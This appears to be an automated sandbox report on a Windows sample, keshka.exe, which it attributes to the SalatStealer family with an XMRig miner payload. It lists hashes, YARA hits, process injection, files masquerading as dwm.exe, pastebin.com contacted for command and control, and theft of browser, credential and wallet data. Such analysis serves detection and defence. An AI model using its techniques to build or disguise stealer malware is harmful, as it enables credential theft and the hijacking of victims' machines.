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260420-vggyxscx5z10Analysis
- geolocation tags
brbrazilsouth-america - max time kernel
150s - max time network
151s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260130-en - resource tags
arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows - submitted
20/04/2026, 17:04
Behavioral task
behavioral1
Sample
keshka.exe
Resource
win10v2004-20260130-en
Behavioral task
behavioral2
Sample
keshka.exe
Resource
win10ltsc2021-20260130-en
Behavioral task
behavioral3
Sample
keshka.exe
Resource
win11-20260130-en
General
- Target keshka.exe
- Size 3.4MB
- Sample260420-vll4faaz7j
- SHA256 897b5101cafb0a9104381e8cd260c932df8cc2162bd2d4f26ba968f4b70c63e8
- MD5 20eef3d8647f48e17eb7f3804d836518
- SHA1 fbe3a3f8d08c980ca36cf9f10ac9f72982d899dc
- SHA512 8dc2e5f6568da07b03c7f793f7c70dfd7d48883d6fc473ab21931de02d41700f2d95c99a84047c1b144827573293fdd8d40b81219ce5a7d0605c6b7281f8f26a
- SSDEEP 98304:J90zEmNW6ABeiCR3MBpTrJNpHfGYMZBCwLCta:X0rk6wwR3c3tH9MbCwLC4
- TLSH T12DF53300C54F7BFAEE5259B4F8DCC5814D4EC5089ED2D69F0A269B76AB43B1C820639F
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Detect SalatStealer payload 11 IoCs
resource yara_rule behavioral2/memory/5424-1-0x0000000000870000-0x00000000014C7000-memory.dmp family_salatstealer behavioral2/memory/5424-3-0x0000000000870000-0x00000000014C7000-memory.dmp family_salatstealer behavioral2/memory/5424-13-0x0000000000870000-0x00000000014C7000-memory.dmp family_salatstealer behavioral2/memory/3380-15-0x0000000000D30000-0x0000000001987000-memory.dmp family_salatstealer behavioral2/memory/3380-17-0x0000000000D30000-0x0000000001987000-memory.dmp family_salatstealer behavioral2/memory/3380-18-0x0000000000D30000-0x0000000001987000-memory.dmp family_salatstealer behavioral2/memory/3436-30-0x0000000000C10000-0x0000000001867000-memory.dmp family_salatstealer behavioral2/memory/3380-50-0x0000000000D30000-0x0000000001987000-memory.dmp family_salatstealer behavioral2/memory/4124-58-0x0000000000A30000-0x0000000001687000-memory.dmp family_salatstealer behavioral2/memory/3380-81-0x0000000000D30000-0x0000000001987000-memory.dmp family_salatstealer behavioral2/memory/3380-114-0x0000000000D30000-0x0000000001987000-memory.dmp family_salatstealer - Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 5616 created 624 5616 powershell.EXE 5 PID 5956 created 624 5956 powershell.EXE 5 - XMRig Miner payload 7 IoCs
resource yara_rule behavioral2/memory/4508-178-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/4508-182-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/4508-184-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/4508-183-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/4508-181-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/4508-180-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral2/memory/4508-177-0x0000000140000000-0x0000000140835000-memory.dmp xmrig - Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 52 3544 powershell.exe 53 3544 powershell.exe 54 3544 powershell.exe 55 3544 powershell.exe 56 3544 powershell.exe -
pid Process 5616 powershell.EXE 5956 powershell.EXE 4820 powershell.exe 1188 powershell.exe - Creates new service(s) 2 TTPs
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Executes dropped EXE 5 IoCs
pid Process 3380 dwm.exe 3436 dwm.exe 4124 dwm.exe 5848 f.exe 5168 rjyzvekkqzsi.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 59 pastebin.com 60 pastebin.com - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe rjyzvekkqzsi.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\MRT.exe f.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 5848 set thread context of 5896 5848 f.exe 105 PID 5616 set thread context of 1148 5616 powershell.EXE 121 PID 5168 set thread context of 3552 5168 rjyzvekkqzsi.exe 123 PID 5168 set thread context of 5128 5168 rjyzvekkqzsi.exe 125 PID 5168 set thread context of 4508 5168 rjyzvekkqzsi.exe 126 PID 5956 set thread context of 772 5956 powershell.EXE 130 -
resource yara_rule behavioral2/memory/5424-0-0x0000000000870000-0x00000000014C7000-memory.dmp upx behavioral2/memory/5424-1-0x0000000000870000-0x00000000014C7000-memory.dmp upx behavioral2/memory/5424-3-0x0000000000870000-0x00000000014C7000-memory.dmp upx behavioral2/files/0x00070000000284d2-9.dat upx behavioral2/memory/3380-12-0x0000000000D30000-0x0000000001987000-memory.dmp upx behavioral2/memory/5424-13-0x0000000000870000-0x00000000014C7000-memory.dmp upx behavioral2/memory/3380-15-0x0000000000D30000-0x0000000001987000-memory.dmp upx behavioral2/memory/3380-17-0x0000000000D30000-0x0000000001987000-memory.dmp upx behavioral2/memory/3380-18-0x0000000000D30000-0x0000000001987000-memory.dmp upx behavioral2/memory/3436-24-0x0000000000C10000-0x0000000001867000-memory.dmp upx behavioral2/memory/3436-30-0x0000000000C10000-0x0000000001867000-memory.dmp upx behavioral2/memory/3380-50-0x0000000000D30000-0x0000000001987000-memory.dmp upx behavioral2/memory/4124-52-0x0000000000A30000-0x0000000001687000-memory.dmp upx behavioral2/memory/4124-58-0x0000000000A30000-0x0000000001687000-memory.dmp upx behavioral2/memory/3380-81-0x0000000000D30000-0x0000000001987000-memory.dmp upx behavioral2/memory/3380-114-0x0000000000D30000-0x0000000001987000-memory.dmp upx behavioral2/memory/4508-172-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4508-173-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4508-178-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4508-182-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4508-184-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4508-183-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4508-181-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4508-180-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4508-177-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4508-176-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4508-175-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral2/memory/4508-174-0x0000000140000000-0x0000000140835000-memory.dmp upx - Drops file in Program Files directory 2 IoCs
description ioc Process File opened for modification C:\Program Files\Google\Chrome\Application\dwm.exe dwm.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\dwm.exe dwm.exe - Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4992 sc.exe 2012 sc.exe 5520 sc.exe 5000 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language keshka.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dwm.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dwm.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dwm.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe - Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dialer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dialer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5424 keshka.exe 5424 keshka.exe 5424 keshka.exe 5424 keshka.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3544 powershell.exe 3380 dwm.exe 3380 dwm.exe 3544 powershell.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 3380 dwm.exe 5848 f.exe 4820 powershell.exe 4820 powershell.exe 5848 f.exe 5848 f.exe 5848 f.exe 5848 f.exe 5848 f.exe 5848 f.exe 5168 rjyzvekkqzsi.exe 1188 powershell.exe 1188 powershell.exe 5616 powershell.EXE 5616 powershell.EXE 5616 powershell.EXE 1148 dllhost.exe 1148 dllhost.exe 5168 rjyzvekkqzsi.exe 5168 rjyzvekkqzsi.exe 5168 rjyzvekkqzsi.exe 5168 rjyzvekkqzsi.exe 5956 powershell.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3544 powershell.exe Token: SeIncreaseQuotaPrivilege 3544 powershell.exe Token: SeSecurityPrivilege 3544 powershell.exe Token: SeTakeOwnershipPrivilege 3544 powershell.exe Token: SeLoadDriverPrivilege 3544 powershell.exe Token: SeSystemProfilePrivilege 3544 powershell.exe Token: SeSystemtimePrivilege 3544 powershell.exe Token: SeProfSingleProcessPrivilege 3544 powershell.exe Token: SeIncBasePriorityPrivilege 3544 powershell.exe Token: SeCreatePagefilePrivilege 3544 powershell.exe Token: SeBackupPrivilege 3544 powershell.exe Token: SeRestorePrivilege 3544 powershell.exe Token: SeShutdownPrivilege 3544 powershell.exe Token: SeDebugPrivilege 3544 powershell.exe Token: SeSystemEnvironmentPrivilege 3544 powershell.exe Token: SeRemoteShutdownPrivilege 3544 powershell.exe Token: SeUndockPrivilege 3544 powershell.exe Token: SeManageVolumePrivilege 3544 powershell.exe Token: 33 3544 powershell.exe Token: 34 3544 powershell.exe Token: 35 3544 powershell.exe Token: 36 3544 powershell.exe Token: SeIncreaseQuotaPrivilege 3544 powershell.exe Token: SeSecurityPrivilege 3544 powershell.exe Token: SeTakeOwnershipPrivilege 3544 powershell.exe Token: SeLoadDriverPrivilege 3544 powershell.exe Token: SeSystemProfilePrivilege 3544 powershell.exe Token: SeSystemtimePrivilege 3544 powershell.exe Token: SeProfSingleProcessPrivilege 3544 powershell.exe Token: SeIncBasePriorityPrivilege 3544 powershell.exe Token: SeCreatePagefilePrivilege 3544 powershell.exe Token: SeBackupPrivilege 3544 powershell.exe Token: SeRestorePrivilege 3544 powershell.exe Token: SeShutdownPrivilege 3544 powershell.exe Token: SeDebugPrivilege 3544 powershell.exe Token: SeSystemEnvironmentPrivilege 3544 powershell.exe Token: SeRemoteShutdownPrivilege 3544 powershell.exe Token: SeUndockPrivilege 3544 powershell.exe Token: SeManageVolumePrivilege 3544 powershell.exe Token: 33 3544 powershell.exe Token: 34 3544 powershell.exe Token: 35 3544 powershell.exe Token: 36 3544 powershell.exe Token: SeIncreaseQuotaPrivilege 3544 powershell.exe Token: SeSecurityPrivilege 3544 powershell.exe Token: SeTakeOwnershipPrivilege 3544 powershell.exe Token: SeLoadDriverPrivilege 3544 powershell.exe Token: SeSystemProfilePrivilege 3544 powershell.exe Token: SeSystemtimePrivilege 3544 powershell.exe Token: SeProfSingleProcessPrivilege 3544 powershell.exe Token: SeIncBasePriorityPrivilege 3544 powershell.exe Token: SeCreatePagefilePrivilege 3544 powershell.exe Token: SeBackupPrivilege 3544 powershell.exe Token: SeRestorePrivilege 3544 powershell.exe Token: SeShutdownPrivilege 3544 powershell.exe Token: SeDebugPrivilege 3544 powershell.exe Token: SeSystemEnvironmentPrivilege 3544 powershell.exe Token: SeRemoteShutdownPrivilege 3544 powershell.exe Token: SeUndockPrivilege 3544 powershell.exe Token: SeManageVolumePrivilege 3544 powershell.exe Token: 33 3544 powershell.exe Token: 34 3544 powershell.exe Token: 35 3544 powershell.exe Token: 36 3544 powershell.exe - Suspicious use of UnmapMainImage 1 IoCs
pid Process 3392 Explorer.EXE - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5424 wrote to memory of 3380 5424 keshka.exe 89 PID 3380 wrote to memory of 3544 3380 dwm.exe 91 PID 3380 wrote to memory of 3436 3380 dwm.exe 93 PID 3380 wrote to memory of 4124 3380 dwm.exe 96 PID 3380 wrote to memory of 5220 3380 dwm.exe 97 PID 5220 wrote to memory of 5848 5220 cmd.exe 99 PID 5848 wrote to memory of 5896 5848 f.exe 105 PID 5848 wrote to memory of 5896 5848 f.exe 105 PID 5848 wrote to memory of 5896 5848 f.exe 105 PID 5848 wrote to memory of 5896 5848 f.exe 105 PID 5848 wrote to memory of 5896 5848 f.exe 105 PID 556 wrote to memory of 5412 556 cmd.exe 109 PID 5616 wrote to memory of 1148 5616 powershell.EXE 121 PID 5616 wrote to memory of 1148 5616 powershell.EXE 121 PID 5616 wrote to memory of 1148 5616 powershell.EXE 121 PID 5616 wrote to memory of 1148 5616 powershell.EXE 121 PID 5616 wrote to memory of 1148 5616 powershell.EXE 121 PID 5168 wrote to memory of 3552 5168 rjyzvekkqzsi.exe 123 PID 5168 wrote to memory of 3552 5168 rjyzvekkqzsi.exe 123 PID 5168 wrote to memory of 3552 5168 rjyzvekkqzsi.exe 123 PID 5168 wrote to memory of 3552 5168 rjyzvekkqzsi.exe 123 PID 5168 wrote to memory of 3552 5168 rjyzvekkqzsi.exe 123 PID 5168 wrote to memory of 5128 5168 rjyzvekkqzsi.exe 125 PID 5168 wrote to memory of 5128 5168 rjyzvekkqzsi.exe 125 PID 5168 wrote to memory of 5128 5168 rjyzvekkqzsi.exe 125 PID 5168 wrote to memory of 5128 5168 rjyzvekkqzsi.exe 125 PID 5168 wrote to memory of 5128 5168 rjyzvekkqzsi.exe 125 PID 5168 wrote to memory of 5128 5168 rjyzvekkqzsi.exe 125 PID 5168 wrote to memory of 5128 5168 rjyzvekkqzsi.exe 125 PID 5168 wrote to memory of 5128 5168 rjyzvekkqzsi.exe 125 PID 5168 wrote to memory of 4508 5168 rjyzvekkqzsi.exe 126 PID 5168 wrote to memory of 4508 5168 rjyzvekkqzsi.exe 126 PID 5168 wrote to memory of 4508 5168 rjyzvekkqzsi.exe 126 PID 2568 wrote to memory of 4248 2568 cmd.exe 127 PID 1148 wrote to memory of 624 1148 dllhost.exe 5 PID 1148 wrote to memory of 684 1148 dllhost.exe 7 PID 1148 wrote to memory of 888 1148 dllhost.exe 11 PID 1148 wrote to memory of 64 1148 dllhost.exe 13 PID 1148 wrote to memory of 764 1148 dllhost.exe 14 PID 1148 wrote to memory of 392 1148 dllhost.exe 15 PID 1148 wrote to memory of 1032 1148 dllhost.exe 16 PID 1148 wrote to memory of 1040 1148 dllhost.exe 17 PID 1148 wrote to memory of 1124 1148 dllhost.exe 18 PID 1148 wrote to memory of 1176 1148 dllhost.exe 19 PID 1148 wrote to memory of 1200 1148 dllhost.exe 20 PID 1148 wrote to memory of 1252 1148 dllhost.exe 21 PID 1148 wrote to memory of 1288 1148 dllhost.exe 22 PID 1148 wrote to memory of 1464 1148 dllhost.exe 24 PID 1148 wrote to memory of 1564 1148 dllhost.exe 25 PID 1148 wrote to memory of 1592 1148 dllhost.exe 26 PID 1148 wrote to memory of 1620 1148 dllhost.exe 27 PID 1148 wrote to memory of 1728 1148 dllhost.exe 28 PID 1148 wrote to memory of 1756 1148 dllhost.exe 29 PID 1148 wrote to memory of 1772 1148 dllhost.exe 30 PID 1148 wrote to memory of 1788 1148 dllhost.exe 31 PID 1148 wrote to memory of 1892 1148 dllhost.exe 32 PID 1148 wrote to memory of 1928 1148 dllhost.exe 33 PID 1148 wrote to memory of 2024 1148 dllhost.exe 34 PID 1148 wrote to memory of 1456 1148 dllhost.exe 35 PID 1148 wrote to memory of 1440 1148 dllhost.exe 36 PID 1148 wrote to memory of 1516 1148 dllhost.exe 37 PID 1148 wrote to memory of 2068 1148 dllhost.exe 38 PID 1148 wrote to memory of 2164 1148 dllhost.exe 39 PID 1148 wrote to memory of 2188 1148 dllhost.exe 40 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:624
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1124
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3814d909-dac9-44bc-86be-eb3dc85219c1}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1148
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f7b6a828-6787-4fad-aa0a-b9a147b63b43}2⤵PID:772
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:684
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-e6f89fcf-6162-47af-a8a7-b2c79c60daa8 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-78ab09d8-e5c1-43ef-8871-a4532ceb0b2f -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-689ab36b-9648-45d4-a90d-6f048603f817 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d3e6df96-fdab-4bbc-9ee7-4b39608d6f4f -LifetimeId:641a494d-de88-4a93-9399-b319876435ae -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:888
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:64
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:764
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:392
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1040
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:1176
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1200
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1288
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1464
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3108
